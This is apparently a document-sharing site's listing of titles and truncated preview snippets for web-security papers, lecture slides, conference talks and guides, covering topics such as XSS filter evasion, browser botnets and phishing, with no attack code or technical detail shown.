EVADING ALL WEB-APPLICATION FIREWALLS XSS FILTERS SEPTEMBER 2015 MAZIN AHMED MAZIN@MAZINAHMED.NET @MAZEN160 Table of Contents Topic Page Number Abstract 3 Introduction 3 Testing Environment 4 Products
ECE458 Winter 2013. Web Security. Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh)
ECE458 Winter 2013 Web Security Slides from John Mitchell and Vitaly Shmatikov (Modified by Vijay Ganesh) Reported Web Vulnerabilities "In the Wild" Data from aggregator and validator of NVD-reported vulnerabilities
Internet Explorer turns your personal computer into a publicfile Server
Internet Explorer turns your personal computer into a publicfile Server Black Hat DC 2010 Jorge Luis Alvarez Medina 1 Jorge Luis Alvarez Medina CORE Security Technologies February 2010 Outline Attack results
Figure 1: A typical cross-site scripting scenario.
Noxes: A Client-Side Solution for Mitigating Cross-Site Scripting Attacks Engin Kirda, Christopher Kruegel, Giovanni Vigna, and Nenad Jovanovic Technical University of Vienna {ek,chris,enji}@infosys.tuwien.ac.at
A Survey on Threats and Vulnerabilities of Web Services
A Survey on Threats and Vulnerabilities of Web Services A Thesis submitted in partial fulfillment of the requirements for the degree of Master of Computer Science and Engineering of Jadavpur University
Guideline For Securing Your Web Browser
CMSGu2011-02 Mauritian Computer Emergency Response Team CERT-MU SECURITY GUIDELINE 2011-02 Enhancing Cyber Security in Mauritius Guideline For Securing Your Web Browser National Computer Board Mauritius
Hacking Web Apps. Detecting and Preventing Web Application Security Problems. Jorge Blanco Alcover. Mike Shema. Technical Editor SYNGRESS
Hacking Web Apps Detecting and Preventing Web Application Security Problems Mike Shema Technical Editor Jorge Blanco Alcover AMSTERDAM BOSTON HEIDELBERG LONDON NEW YORK OXFORD PARIS SAN DIEGO SAN FRANCISCO
Pwning Intranets with HTML5
Javier Marcos de Prado Juan Galiana Lara Pwning Intranets with HTML5 2009 IBM Corporation Agenda How our attack works? How we discover what is in your network? What does your infrastructure tell us for
Million Browser Botnet
Million Browser Botnet BLACK HAT USA 2013 JEREMIAH GROSSMAN Founder and CTO @jeremiahg MATT JOHANSEN Threat Research Center, Manager @mattjay About WhiteHat Security Headquartered in Santa Clara, California
Client-side Web Engineering From HTML to AJAX
Client-side Web Engineering From HTML to AJAX SWE 642, Spring 2008 Nick Duan 1 What is Client-side Engineering? The concepts, tools and techniques for creating standard web browser and browser extensions
The Web Web page Links 16-3
Chapter Goals Compare and contrast the Internet and the World Wide Web Describe general Web processing Write basic HTML documents Describe several specific HTML tags and their purposes 16-1 Chapter Goals
The Prevalence of Flash Vulnerabilities on the Web
TECHNICAL BRIEF FLASH FLOODING The Prevalence of Flash Vulnerabilities on the Web Adobe Flash Player is a cross-platform, browser plugin that provides uncompromised viewing of expressive applications,
CTF Web Security Training. Engin Kirda ek@ccs.neu.edu
CTF Web Security Training Engin Kirda ek@ccs.neu.edu Web Security Why It is Important Easiest way to compromise hosts, networks and users Widely deployed ( payload No Logs! (POST Request Difficult to defend
Phishing with Super Bait
Phishing with Super Bait Jeremiah Grossman WhiteHat Security Founder and Chief Technology Officer Who am I? Day Job: Technology R&D and industry evangelist Frequent Black Hat and industry speaker Author
Login with Amazon. Getting Started Guide for Websites. Version 1.0
Login with Amazon Getting Started Guide for Websites Version 1.0 Login with Amazon: Getting Started Guide for Websites Copyright 2016 Amazon Services, LLC or its affiliates. All rights reserved. Amazon
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
What is Web Security? Motivation
brucker@inf.ethz.ch http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web